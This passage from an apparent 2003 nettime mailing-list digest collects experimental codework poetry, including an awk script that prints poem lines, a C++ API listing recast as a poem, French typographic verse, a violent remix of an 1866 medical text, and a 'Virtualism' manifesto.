}\n/[w]+/ { print \"arms, hands, breasts, eyes, balloons\" }\n/[v]+/ { print \"making new objects in the slice of time.\" }\n/[u]+/ { print \"landgrid to icegrid, these new objects\" }\n/[t]+/ { print \"neither born nor dying for your eyes.\" }\n/[s]+/ { print \"open mouths screaming colours\" }\n/[r]+/ { print \"tend towards air-disturbance objects.\" }\n/[q]+/ { print \"microphone objects transform atmospheres\" }\n/[p]+/ { print \"in the presence of older objects\" }\n/[o]+/ { print \"as hands and elsewhere mouth\" }\n/[n]+/ { print \"generate new things obliterating the old.\" }\n/[m]+/ { print \"there is gridance among them\" }\n/[l]+/ { print \"and among them, worldrun crashing into stars.\" }\n/[k]+/ { print \"every sound and breath tensed towards\" }\n/[j]+/ { print \"the interceptions of planets, nebula\" }\n/[i]+/ { print \"inhaling through the body's transparencies\" }\n/[h]+/ { print \"of arms, hands, breasts, balloons\" }\n/[g]+/ { print \"motioned in the griding of the room\" }\n/[f]+/ { print \"girdled for dissemination, deconstruction.\" }\n/[e]+/ { print \"in the distance, no-attention animals\" }\n/[d]+/ { print \"and the forests of ice in the ice.\" }\n/[c]+/ { print \"the skies open to the skies,\" }\n/[b]+/ { print \"the stars to the stars\" }\n/[a]+/ { print \"dance and sound to objects and older objects.\" }\n/^$/ { print \"what they have been sliding by our grasp.\" }\n{\n for ( i = NF; i >= 1; i-- )\n printf \"%s \", $i;\n printf \"\\n\";\n}\n\n\n\n\nDate:         Mon, 10 Feb 2003 00:18:36 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: unix fortune\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nYes, you can stop paying those high\ninterest rates now, Alan and get a\n                       [Last message marked for deletion]\nPine finished -- Closed \"INBOX\". Kept 3 messages and removed 4.\nFrobnicate, v.:\n        To manipulate or adjust, to tweak.  Derived from FROBNITZ.\nUsually abbreviated to FROB.  Thus one has the saying \"to frob a\nfrob\".  See TWEAK and TWIDDLE.  Usage: FROB, TWIDDLE, and TWEAK\nsometimes connote points along a continuum.  FROB connotes aimless\nmanipulation; TWIDDLE connotes gross manipulation, often a coarse\nsearch for a proper setting; TWEAK connotes fine-tuning.  If someone is\nturning a knob on an oscilloscope, then if he's carefully adjusting it\nhe is probably tweaking it; if he is just turning it but looking at the\nscreen he is probably twiddling it; but if he's just doing it because\nturning a knob is fun, he's frobbing it.\nMon Feb 10 00:17:48 EST 2003\nThe Moon is Waxing Gibbous (57% of Full)\n\n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nTo: \"_arc[texture.eyes].hive_\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: bound ascii\nDate: Tue, 11 Feb 2003 15:15:32 -0600 (CST)\n\n\nsize  sivilize seize; squealing stealing sealing; Feb 11 12:25:20\nproportion postfix/sendmail[7062]: warning: fork: Too  many  open\nfiles  Feb  11  12:26:00 proportion last message repeated 4 times\nFeb 11 12:28:00 proportion last message repeated 12 times Feb  11\n12:38:01  proportion  last  message  repeated  60  times  Feb  11\n12:48:02  proportion  last  message  repeated  60  times  Feb  11\n12:55:02 proportion last message repeated 42 times\n\nClock  has been set forward 10.5524 seconds since Jan 15 14:00:01\nproportion newsyslog[23159]: logfile turned over.\n\n\n-- \nWith only one line it's a trivial thing to check for matching quotation marks.\n\n\n\nDate: Tue, 11 Feb 2003 04:36:55 -0800\nFrom: August Highland <hmfah {AT} HOTMAIL.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: \"geneological tree\"\n\n\"geneological tree\"\n\n\n\n\nGATree<T> * clone()\n       void copy(const GATree<T>& orig)\n       void destroy()\n       void swaptree(GATree<T> * t)\n       void swaptree(unsigned int, unsigned int)\n       void swap(unsigned int, unsigned int)\nGATree<T> * remove()\n       void insert(GATree<T> * t, GATreeBASE::Location where=BELOW)\n       void insert(const T& t, GATreeBASE::Location where=BELOW)\n\n        T * current()\n        T * root()\n        T * next()\n        T * prev()\n        T * parent()\n        T * child()\n        T * eldest()\n        T * youngest()\n        T * warp(unsigned int i)\n        T * warp(const GATreeIter<T>& i)\n\n        int ancestral(unsigned int i, unsigned int j) const\n        int size()\n        int depth()\n        int nchildren()\n        int nsiblings()\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.449 / Virus Database: 251 - Release Date: 1/27/2003\n\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: .les couches N.E.U.R.a.u.ssi ( Vertical version )\nDate: Mon, 10 Feb 2003 22:29:33 +0100\n\n\nje suppose que dans le cerveau humain\nle d\u00e9ploiement du visuel\n\nl'entrecr[X]sEment de ce d\u00e9ploiEment avec d'autres\n\n.L.a.N.G(u)A.g.E.S.\n\nl RAmemory de ce qui vie.Nt;\n\t             xo = 0;\n\t             xx = 1; [\n\t             xy = 0; V\n\t             xz = 0; e\n\t             yo = 0; r\n\t             yx = 0; t\n\t             yy------i\n\t             yz = 0; c\n\t             zo = 0; a\n\t             zx = 0; l----------ement\n\t             zy = 0;\n\t             zz = 1;\n\n[Horizontal]eMent d Ev(ent)ant m.EyeS\n\n/di V (iRi.)$\u00e9 par l;e $;0;l\n\nen bas - l'herbe\nle gazon du jardin\n& le ciel au-dessus avec les \u00e9toiles\n\nces arbres avaient donc une pr\u00e9sence particuli\u00e8re\ndans mon champ visuel\n\nl'imag(ination) que.j.e.f.erm.ais.e.n.r.egar.dan.t.l.e.s E.ye.ux\n\n\n\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: netwurker {AT} hotkey.net.au\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Re:  RE:ProduCCing_numb.eRRs\nDate: Wed, 12 Feb 2003 19:24:07 +1100\n\nQuoting a u t u m n - f r e q u e n c y <star.power {AT} usa.net>:\n\n> r.f-wyre_ON[tological]:\n> D00m-0143.k\n> D00m-0242.k\n> D00m-0262.k\n> D00m-0371.k\n> D00m-0432.k\n> D00m-1030.k\n> D00m-1060.k\n> D00m-1090.k\n> D00m-1210.k\n> D00m-1220.k\n> D0NT-1230.k\n> D0NT-1240.k\n> D0NT-1250.k\n> D0NT-1330.k\n> D0NT-1331.k\n\n\n\nTo: \"WRYTING-L : Writing and Theory across Disciplines\" <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\nFrom: netwurker {AT} hotkey.net.au\nDate: Wed, 12 Feb 2003 19:52:31 +1100\nSubject: Re: Sewn Doom\n\n\n\n\n\n__afta.ma[th]pping sondheim + brueckl\n\n// Sewn Doom \n\n/tonnes of gluish nothing\n/sod[s of brutish klee]omies r loaded with err[or]ant blocks\n/s.o[ddishments] many tongues\n/the longing of s[m]o[ke N mirrore]d.[tax]O[N]my\n\n\nModules +creamIn + sugarOut. \n\n/Here cannot b. \n /+the dirg[ibl]e [h]earth\n  /-ones tear + zeros z[n]ipped \n  /-guess[ed] in a greased split 2nd \n  /-overHauling qs s.l[D]aughter screaming \n\n/There cannot b .e[pra]x[is]e\n /+accu.men+wimmen\n /+blood-proven-b.loo[m.ing(le)]d\n /+on|of other.ing. \n /+duel quests + wr[d]eath causations\n\n Blood.\n> Sodomy bones. Extortion bones. Tongue bones. Sodomy in one. Nothing\n> screaming. Sodomy tongues screaming. Split there. Split there. Questions\n> split there. There cannot be tearing bones. Tongues there are. Tongues of\n> modes of splitting. Modes of extortion. But there are accustions.\n> \n> \n> The nothing of sodomy. This is rather violence. All violence. All screams.\n> There cannot be extortion, but it is there. That this is too often false is\n> in doubt. There cannot be two in one. One in two. The bones of sodomy.\n> Nothing is numerous but violence, the screams of violence. The rape mode.\n> Question. But it is blood. Split tongues. Violence is there. Bone of doubt.\n> False bones. Blood tongues. Nothing cannot be extorted. Sodomy extortion,\n> two\n> in one. In two violence. Often sodomy is too. To be extorted. Cannot be. Be\n> two violence. The screams extorted. Often sodomy is too. Is in doubt. Is\n> numerous. Is blood. Is split. Nothing is sodomy. Sodomy is often. Violence\n> is\n> there. Cannot be. Two in one. Violence. Violence nothing. Blood violence.\n> Screams violence. Numerous two. False in one. Mode false. Rape doubt. The\n> bones of rape. That this is too sodomy. But it is. Often nothing is. Sodomy\n> is nothing. Sodomy is in doubt. Doubt is violence. Blood is there.\n> \n> \n> It is a tongue. Split violence. This is too often a mouth. False sodomy,\n> this\n> is rather the earth's blood, death's bones. Mouth's scream. Bodies split\n> violence. Tongues are nothing. There cannot be extortion. Being that this\n> is\n> too often sodomy. A mode of questioning. Questioning rape. A mode of rape.\n> This is rather sodomy. Too often sodomy is too often. The mouth of death.\n> The\n> bodies of extortion. A scream cannot be extorted. The bone of death in a\n> mouth. False screams of violence. There are no false screams of violence.\n> Tongue earth blood. Split death. This is too a mouth. A mouth scream being\n> that this is too sodomy. Too often extortion. Split mouth. Death mouth. The\n> bone of screams. Violence. This is too. Too often nothing. Questioning. Too\n> often the bone. A mode of death. False blood sodomy. Death extortion. False\n> split. This is too too often.\n> \n> \n> This is too often sodomy. There cannot be doubt. This is rather blood. The\n> question of rape is nothing. But tongues are nothing. Split tongues are\n> nothing. This is too often a scream. Mouths in two, one there. This is\n> rather\n> blood. This is rather blood accusations. This cannot be split. This is too\n> often violence, the nothing of violence. But violence is not nothing. Too\n> often blood is violent. There cannot be any doubt about blood. Often\n> nothing.\n> Nothing screams. Nothing cannot be split. This is too blood. This is rather\n> a\n> tongue. Split. Tongue's blood. Nothing blood. The question. This is too\n> rape.\n> A scream accusations. Violence often. This is rather a scream. This is too\n> often. Nothing screams. Nothing is a mouth. Nothing is two. Sodomy cannot\n> be.\n> One there. This is rather. Violent. Not nothing. Often nothing. A tongue.\n> Nothing is.\n> \n> \n> --Bob Brueckl\n> after Alan Sondheim's \"Sexwar\"\n> __________________________________________\n> \n> Sexwar\n> \n> There cannot be the slightest doubt that false charges of sodomy are more\n> numerous than those of rape, and that this is too often a successful mode\n> of extortion. This is rather a legal than a medical question; but it is\n> especially deserving of notice, that these accusations are very frequently\n> made by soldiers and a bad class of policemen!\n> \n> accusations very very especially frequently deserving made by by soldiers\n> soldiers and bad class class of policemen! made until blood, earth blood\n> gone we us will blood, kill blood them we ourselves will policemen! kill\n> until them earth ourselves gone they not tear bother tongues split from\n> bodies mouths in not two bother pay split no bodies they in tear two\n> tongues pay from no mouths attention one for there death halves one\n> quartered there bones, halves bones quartered nothing bones, stop bones\n> attention nothing for stop death violence violence all all dead dead\n> scream scream protest protest can can do do bomb bomb\n> \n> (From Taylor's A Manual of Medical Jurisprudence, 1866)\n> \n> \n> \n> \n> \n> \n> \n> \n> \n> \n> \n> \n> \n> \n\n\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: A Dontigny <ad {AT} electrocd.com>\nSubject: Producing numbers\nDate: Tue, 11 Feb 2003 18:21:34 -0500\n\n\nWe are going to produce the following numbers:\n\nD00-0143\nD00-0242\nD00-0262\nD00-0371\nD00-0432\nD00-1030\nD00-1060\nD00-1090\nD00-1210\nD00-1220\nD00-1230\nD00-1240\nD00-1250\nD00-1330\nD00-1331\nD00-1600\nD40-0080\nZ00-2220\nZ00-3320\nZ00-4520\nZ00-5521\nZ00-8821\nZ00-9720\nZ01-0520\nZ01-2120\nZ02-0820\nZ02-0920\nZ02-1420\nZ02-4020\nZ02-4320\nZ02-3820\nZ03-2820\nZ03-3120\nZ03-3520\nZ04-1520\nZ04-2200\nZ05-1920\nZ30-1420\nA 333 320\nA 333 323\nA 334 313\nA 334 327\nA 334 565\nA 334 337\nA 334 378\nA 334 424\nA 334 475\nA 334 485\nA 334 494\nA 334 496\nA 334 580\nA 334 590\nA 334 564\nA 334 565\nA 334 575\nA 334 592\nA 334 595\nA 334 596\nA 334 603\nA 334 604\nA 334 606\nA 334 617\nA 334 675\nA 334 678\nA 334 720\nA 334 780\nA 334 798\nA 334 859\nA 334 874\nA 334 899\nA 334 946\nA 335 345\nB 335 022\nA 336 335\nA 336 352\nA 336 364\nA 336 403\nA 336 423\nA 336 464\nA 336 480\nA 336 528\nA 336 608\nA 336 614\nA 336 626\nA 336 632\nB 334 050\nB 334 021\nB 336 013\n\nPlease tell us if you need any of them.\n\n-- \n------------------------------\nA Dontigny\ninfo {AT} electrocd.com\n\nhttp://www.electrocd.com/bio.e/cat/dontigny_ai.html\n\n\nDate: Thu, 6 Feb 2003 17:51:22 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: 16 Expletives Deleted\n\n16 Expletives Deleted\n\n[excerpt]\n\n\naxxx anse axxx axxx axxx bock cxxx coat dack duck holm phit txxx tnsg bxxx\nbxxx cxxx cxxx camn dxxx fule hosm jiss phit txxx anue bxxx buck crat dack\ndxxx fele holm jiss phat txxx tnue axxx bxxx busk coap crnt dxxx dxxx ducl\nhxxx hosm jist swat twue axxx arsg buck coap crnt camn dxxx dule hxxx hoss\nphat txxx twue axxx bxxx bxxx coap cumn dxxx dxxx fele holm jiss phat tnus\nanue bxxx bxxx cxxx crnt cunn dxxx dxxx hxxx jiss piit anse aung busk cxxx\ncxxx cumn dack duck fxxx hxxx hism pxxx piit arng bxxx bocp camn dxxx dull\nhele hxxx jxxx jxxx phit sxxx twus arng bxxx bocp cxxx cxxx dxxx full hxxx\npiit sxxx swue bxxx bxxx boap cxxx cunn dxxx dxxx hxxx hele hoss pxxx sxxx\ntnue arsg buck crnn dxxx damk dxxx fxxx fule hosm jiss pxxx sxxx tnus anue\narnh boap cxxx crnn dxxx dicl hxxx hosm jxxx phit sxxx tnsg bxxx busk coap\ncxxx cunn dxxx fxxx hele hosm jist sxxx twas axxx bxxx busk crnt camn dxxx\nhxxx jxxx jiit shat txxx axxx axxx bxxx busk coap cumn dxxx fele hism jxxx\nswat twus axxx bxxx bxxx bocp cunn dack full hxxx hiss sxxx sxxx axxx anse\nbxxx buck cxxx cack fxxx full hiss pxxx sxxx txxx axxx anue arng bxxx cxxx\ncxxx cxxx damk dull hoss phit sxxx axxx anue arng bxxx busk cxxx cxxx dxxx\ndxxx fule hosm jiss piit axxx anse arnh coap cxxx cxxx dxxx dxxx fxxx fule\nhosm jiss phas axxx arsg buck coap crat dxxx dxxx fele jiss piit twus axxx\narsg bxxx cxxx cxxx crnt camn dxxx dxxx fele hxxx hosm piit swat anue bxxx\nbxxx cxxx crnt cumn duck hxxx holm jiss piit swus axxx aunh bxxx cxxx cxxx\ncrnt dxxx full hxxx jiit twas anse buck cxxx cocp dxxx dxxx dxxx dxxx full\nhxxx hxxx jiss pxxx phas arnh bock crat dxxx dxxx dicl hele hxxx jxxx pxxx\nphit txxx twue arng bxxx boat cxxx dack full hosm jiss txxx txxx arsg bunh\nbuck coap cxxx camk dxxx dxxx fucl hele holm pxxx sxxx tnue bxxx bxxx coap\ncxxx cumk fxxx fucl hxxx hosm jiss phit txxx arnh bxxx buck cumn dxxx dxxx\nfell hxxx hism jiss phat axxx axxx aung bunh buck crnt camn dxxx hxxx hxxx\njiss piit txxx tnse axxx buck cocp crnn dxxx fell holm pxxx sxxx twus anse\naush bxxx cxxx cxxx cxxx cack helm jxxx jist txxx axxx anse arng bxxx bxxx\ncxxx cxxx cunn dack hele hxxx jiit txxx anse bunh coap cxxx dxxx dxxx dxxx\nhxxx hele hosm jiss pist sxxx sxxx axxx anse arnh bxxx cocp camk fucl hele\njiit sxxx sxxx axxx axxx arsg bxxx buck cxxx cxxx camn damk dxxx hosm jxxx\npiit axxx arsg bxxx buck cxxx cxxx cxxx dxxx fucl helm jiss phit swas axxx\nbxxx buck coap camn dack fxxx fele hxxx hoss phat tnus arsg bxxx cxxx crnt\ncumn dack fell hxxx hxxx holm jiit shas axxx aunh bxxx bxxx crnt cumn dxxx\nfxxx hxxx holm pxxx piit anse aung busk cxxx crnt dxxx dxxx full hxxx jxxx\nphit txxx twus aush bock crat cxxx dxxx dxxx full helm pxxx pist tnus bunh\nbuck cumn dxxx dxxx hxxx hele hxxx hosm jiss pxxx pxxx tnus anue arnh coap\ncxxx damk fell hxxx hoss piit sxxx txxx axxx axxx arsg busk coap cxxx cumk\ndxxx fucl hosm jiss sxxx tnse axxx aush busk coap cumn dxxx dxxx fxxx hxxx\nhxxx hosm jiit txxx txxx tnue axxx aush bucp cxxx cunn dxxx dxxx fele hosm\njiss phit txxx tnue arsg busk crnt cxxx dack fxxx hele jxxx piit swus axxx\nbxxx bocp cunn dack fele hism jiss txxx txxx\n\nEtc.\n\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: .les couches N.E.U.R.a.u.ssi\nDate: Mon, 10 Feb 2003 17:40:55 +0100\n\no\\::::::::/d(O)\n---------->eur d(O)\n\\\\\\e menth e-o d-eur de lavande\n\n7 fra(gRance)nge d'a-RbR-es avait v\u00e9ritablement\n\n                   sence\n1 dr/0Le de p  /\n                re:m(anence)\n                    nant\n\n[Horizontal]\npos\u00e9e devant mes yeux\n\net au-dessus le ciel\n[Vertical]\net dans cette o-Mbr(shAd)E\n\non ( {AT} )per\u00e7oit de$ \u00e9toile$ ni proche$ ni loint {AT} ine$\n\n.n.i.p.r.o.c.h.e.s.n.i.l.o.i.n.t.a.i.n.e.s.\n.s.I.P.R.O.C.H.E.S.s.I.L.O.I.N.T.A.I.N.E.S.\n\niCI\n\nil y a les\n\n$\nCOUCHES\n$\n\n$\n\nNEolOg(OS)iques de l'image\non creuse pour ne pas r\u00e9pondre\n\n.les couches N.E.U.R.a.u.ssi\n.n.e.u.r.o.l.o.g.i.q.u.e.s.\n.N.E.U.R.O.L.O.G.I.Q.U.E.S.\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y  <star.power {AT} usa.net>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [ nmpls00]\nDate: Fri, 07 Feb 2003 21:06:44 -0700\n\n_______//* unCMPresst_x.pn10.tiLL_headeRR.n.tract:\n[...] /* peerymnduLL d.11_ness oft EXIT =\n\n_d.fuge [...] /* prymiLL dLL_ness +//COM_MEANT\nCOM_MEANT//+charMAP.itemuLL #: tr-016\n____port--->ABLE+/-\"+\".sign\n\"oft_d.fuge_oRRe_p()uRRing\" =\n\n0uTT+/-threewLockeTTe+undERRunnnnnnnn =\n\n_d00+/-UndeRR_RUN_rest.YET_BUFFERRfiLL\n[o{f}t] d.nial + RUN.!st\n[o{f}t]=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D04.C|0.sur =\n\n[o{f}t]_____^________| =\n\n=3D=3D|=3D=3D=3D=3D=3D=3D=3D=3D=3DV=3D=3D=3D=3D=3D=3D=3D=3D|\n+------iNNe.chmod_(uLL)-(aLL) {AT} _axi_aLL/ON/aLL_LEVEL______________________=\n_____//\n =\n\n=3D=3D|=3D=3D=3D=3D=3D=3D=3D=3D=3D|=3D=3D=3D=3D=3D=3D=3D=3D| <-----------=\n---------------|--| =\n\n=3D\\\\----------------+ | OPiNNe_proem_eme(ULL)-----identiKit(s) =\n\n[o{f}t]=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D| -------------------->t=\nr33...........\"TRUCT =\n\n[o{f}t]=3D=3D=3D=3DFWD --->RE:Turryn:02:state:nAIMe---->\nautumn-frequency\n\n\n\nFrom: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Toward a Manifesto...\nDate: Wed, 12 Feb 2003 20:32:08 +0000\n\nToward a Manifesto::::Virtualism\n\n\n\t\t\t1\n\n                      Reading as an ethereal pleasure(-not bound by lo/gic\u2026 \nnot]to deny its((substance((as entertainment:[:whether rhetorical or \ndialectical-][-mention of the concrete inures us to \nfragmentation-,tech|tonic<fuilliton>-[invention is madness, yet those \nunable>to<invent are the|most insane,and every/where there is]a between[-as \nin, for example||||\u201djustice\u201d||||Let us not be deceived>-<into believing the \noligarchic phraseology\u201d\u201d)nor examine too closely the septum of \nknowledge))Reading like this|is||||chaotic, though at times \nuplifting,\\whereas->Reading like\\this [is me[ll]ifluous \nand,en]chanting||||>But this must cha(i)nge-that must cha(i)nge\u201d\u201dcha(i)nge \nmust chan(t)ge\u2026 There is continually a shift\u2019-thus\u201dFragmentation[ ]But \nnote::::This fragmentatio[n itself must shift<-otherwise the stagnatio]n \nfoments[[[\n\n                      True Literature does not write into the Age]in which \nit is written|]M[and the notion of substantial release]is Hereditary,IF one \nwere||to prophecize >that||must be empirical((?-[Otherwise wont((There is no \nforgiveness in the Fabric of Being,[Only breathability((((Is that \nForgiveness?]-[These are the questions which plaque the op/en\\ \nm(in)D|//)and\\\\where,as//the I|dea|l min]d is a ducT-Taped BOX.\n\n                       So you can]begin[t\u2019-)(see the problem.  The \nconumdrum//\\\\the idea]oL((is to meet in the substance of \nnon-being||..||..||.||..||..||AND,]((to crawl up out of)it[[[[|There is no \nsuch thing as Being Human||||being human is an invention((((\u2026<not relegated \nnor regulated//\\by Some g-oD]-But|a mischief<.>Lonesome and Territorial,and \nof course]the creation of madness\u2026\n\n                      O(1)ne would I[mm]ediately a[ss]ert their di[ss]ent \nas||||just S))))Urrealism>|<The writer of this (maybe)\u2019I)(-\u2018I]nn[oc(c)ulaTed \nagainst Small Pox only to Wake uP and DisCover we have AIDS[-)||||(-]and \nspread it[Fur/ther-for]ever;,.  We>are all innoculated with tainted \nMonkey-BLOOD(,.the di(ss)ection of Knowledge brings Forth nothing but such \nblood[[[[and it is in]E[f)FECT>ed\u2026 So much for Viruses/\n\n                       The true meaning of Human Life]-[The \nmeaning\\of/our\\be/ing\\in/the Universe],must Fi(1)rst and Foremost be \nceleb|rated[>it is not an equation<||it is not unknowable[||it occurs not/in \nthe name/of a Power/Greater\\than us-)v[nor in the naming|of THAT \nname\u2026]Everything)I]-)Resides in this non-equation>.||||Beyond being the \nresolution of ideas/of dreams->it is existence||||And [I]present it \nsoftly::::\n\n[[[[Happiness, Goodness and Truthfulness Governed by Love, is the Meaning of \nHuman Existence.  The preservation of the Earth and of Humankind is our \ngreatest goal\u201d\u201d[[[[\n\n                       Hard Pill,but not Rea[L[iT[L]lly.  This is being \nwritten for the common ((sen)se(I||||of the people]We await the \nwrath(i)]o]]]tHE(s)[WaLL->ow/ing.>.<._\n\n                       2\n\nWe can only write structure>>>>\n[at this point[ ]There[which/in>]There\nis only||||\u2019forms\u2019-and)things\u201d\u201d-G[\nof)Poet|RY-of)gra[MM]a[Tol)ogy of\u2026\nand of course De]con|ST/ruct]\u2026it----\noTHEr)wise,]Blank-\u2026]and Round-ion\nsimplicity>>>>tO invent a))for[GIVE\nness in Language]//which exist,a|s[A-,\nFIELD/w/o\\Name\u2026rUTs fu[LL]of Snow\nsuch as RE: ) mem[brance->Make yr  O]\nwn[STRU)c[ture\u2026)of||||FFF>or\nGive]ness-)M( )on]S[ter>e[FF]ect.sp\n\n                       3\n\n                      Contradiction\\hence>forth is wonder|[To DeCry the \nhuman condition||||><||||is like to deC[K]ant a Fine \nwine]\u2026]]<Spoiled<||||>or\u2026<but evenso(to arrange the positive||||in a \nnon-fictive pose-\u2026(it\u2019\u2019s all Secrets\u2026 though underst[oo]d and pa[ss]ed \nOn,]annOIN)k[teD\u2026\n\n                       4\n\n                      Between the]real[and the]not real[exists a \nbridge/ca[LL]ed \u2018surrealism\u2019>>()<<Like Going door to door/knocking)and \nasking the inhabitants if this [haPPens to be(the home of _______ [your \nname]->we Perform within the sphere (of) this discovery||now||as if it is \nas>common<as dreams/as games/as chance\\/Yet for all of its splendor[-since \nour introduction to the existence of this bridge)1924)/up to 2004->There \nhave been 1,401[Wars\u2026 Not Saying that[perhaps]there would have been||20,000 \nWars]without this introduction><not saying|that it has[not deeply \nenriched((((our lives||||Only,that such a flux\u201d\u201dcould have been \nused)Taken[to|change]further its password(for going over the \nbridge]-]\u201d\u201dFreedom.,[That now we know Other<<>This is Thus.\n\n                       5\n\n                      What we have in]mind[here|is to[Con|sTrucT>a \npara[LL]eL Bridge||||One which will Hopefu[ll]y[lead to a \nnon-warring>>humankind||-|Because the bridge we have\\is w(a)oRn/and \ncreaky]|||and enveloped in mass-media))))And][to[ ]take in>for \nexample|[Abs(u)ORB-] the inventions nEw to our times,Without \nApol]o[Gies[|||| To create/build\\a Bridge||||between the real and the non \nreal(-)-which could not have been imagined a minute ago||||And whatever \nrituals we]fall into[are immediately forgiven,cannot bE imagined HENCE\u2026[\n\n                       This bridge we call \u2018Virtualism\u2019||||(())||||IT does \nnot exist]never will/and/we are[the[[Better for it,A Language of transient \nmeaning-)(-or none)-(an art of collage>collapse>kineticism>and \nepidrome<Challenges|-|and at the same time is WHOlly organic][so our \nG[a]o)I)[a]L is clear||||There is no such thing as Freedom]except as a \nRepository]//\\\\[and all the UNDERsigned admit they know nothing)-a \ncrime-[perhaps]-but More aTuned|)(|to the idea of MANslaughter \nthan((murder<-(and more]or less[accustomed to dissent\u2026[ECT words-]or their \nAbsence]\n\n                       6\n\n                      Virtualism does not create individual works]-))it \ndoes]|But it can]not<<Virtualism only creates|the \u2018oeuvre\u2019[-a whole-[is a \ncollection))))of fragments)(and an ode to||||Fragmentation[(And is never \ncomplete.and (in)this(in)completene[ss] s)ignifies[its,rigorous \nadherence-]to the system of||||being human|[Thus is|being \nhuman||||begun]]-All else is denial...,]dross\n\n                      Virtualism ca[nn]ot(be[pronounced but|is \neverywhere[[\u201c\u201dspoken, an already((it has always)existed]-[in that it is \nnew||||and the documen)TaT(ion,through chronology]is[\\/\\/]th|o|rough\\/Art \nis everywhere[thanks|to the)masters])and,[underneath||||Pollock dance[-]But \nit must create/the\\||[Positive[to exist>No More Wars]]  \nAnd]it(iS][Only]this//th(op-)-e[ou)GHT//which Protec>T,s u...s.\n\n\n\n_______________________\n\n_______________________\n\n_______________________\n\n_______________________\n\n_______________________\n\n_______________________\n\n_______________________\n\n_______________________\n\n_______________________\n\n[Once again, William... once again, apologies for the length...]\n\nWilliam Fairbrother\nwfairbrother {AT} authorsden.com\nVirtualItch:\nhttp://www.geocities.com/worldezine\n\n\n\n\n\n_________________________________________________________________\nTag din Hotmail med dig, n\u00e5r du g\u00e5r http://www.msn.dk/mobile\n\n\n\nFrom: a u t u m n - f r e q u e n c y  <star.power {AT} usa.net>\nTo: \"30_secs_oftQuoteSPC\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: nmpls00\nDate: Fri, 07 Feb 2003 20:44:39 -0700\n\n[...] /* peerymnduLL d.11_ness oft EXIT =\n\n_d.fuge [...] /* prymiLL dLL_ness +//COM_MEANT\nCOM_MEANT//+\n\"oft d.fuge oRRe p()uRRing\" =\n\n0uTT+/-threewLockeTTe+undERR =\n\n_d00+/-URRrest.\n[o{f}t] d.nial + RUN.!st\n[o{f}t]          04.C|0.sur =\n\n[o{f}t]_____^________| =\n\n  |         V        | +------iNNe.cmp_(uLL)ta.x.i/ON/aLL  =\n\n  |         |        | <--------------------------|--| =\n\n \\\\----------------+ | OPiNNe_proem_eme(ULL)-----identiKit(s) =\n\n[o{f}t]              | -------------------->tr33...........\"TRUCT =\n\n[o{f}t]    FWD --->RE:Turn:TO:stat:\nautumn-frequency\n\n\n\n\n\nnettime unstable digest vol 34\nSun Feb 16 12:11:56 2003\n\n\nSubject: i #1\n    From: komninos zervos <k.zervos {AT} mailbox.gu.edu.au>\n    To: webartery {AT} yahoogroups.com\n\nSubject: My Composition in Language at m.a.g. (fwd)\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  (ur-k.now.n)\n    From: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\n    To: webartery {AT} yahoogroups.com, WRYTING-L {AT} LISTSERV.UTORONTO.CA,\n\nSubject: e(sCape)//happement//t\n    From: gustin.pascale {AT} free.fr\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: WAR\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: (Aucun objet)\n    From: gustin.pascale {AT} free.fr\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: dancegrid module\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: unix fortune\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: bound ascii\n    From: Karl Petersen <diocletian {AT} visi.com>\n    To: \"_arc[texture.eyes].hive_\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: \"geneological tree\"\n    From: August Highland <hmfah {AT} HOTMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: .les couches N.E.U.R.a.u.ssi ( Vertical version )\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re:  RE:ProduCCing_numb.eRRs\n    From: netwurker {AT} hotkey.net.au\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: Sewn Doom\n    From: netwurker {AT} hotkey.net.au\n    To: \"WRYTING-L : Writing and Theory across Disciplines\" <WRYTING-L {AT} 